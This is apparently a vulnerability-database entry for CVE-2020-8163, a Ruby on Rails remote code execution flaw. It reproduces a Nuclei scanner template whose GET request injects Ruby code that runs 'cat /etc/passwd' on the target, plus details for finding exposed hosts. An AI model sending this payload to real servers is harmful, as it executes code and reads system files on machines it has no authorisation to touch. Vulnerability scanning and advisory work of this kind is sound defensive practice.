CVE-2020-8163: Ruby on Rails <5.0.1 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Ruby on Rails | POC: 已公开

漏洞描述

Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.

PoC代码[已公开]

id: CVE-2020-8163

info:
  name: Ruby on Rails <5.0.1 - Remote Code Execution
  author: tim_koopmans
  severity: high
  description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
  remediation: |
    Upgrade Ruby on Rails to version 5.0.1 or above.
  reference:
    - https://hackerone.com/reports/304805
    - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
    - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8163
    cwe-id: CWE-94
    epss-score: 0.90743
    epss-percentile: 0.99604
    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2020,rails,rce,hackerone,rubyonrails

http:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200a5ce548301701e00c09da3901c49dedad65fe6cee03f517292bd2e938804f1b0221009204e976e12220d2656537ca8559e0f56bfc9e9cf63378e0629710f914b94a37:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8163.yaml

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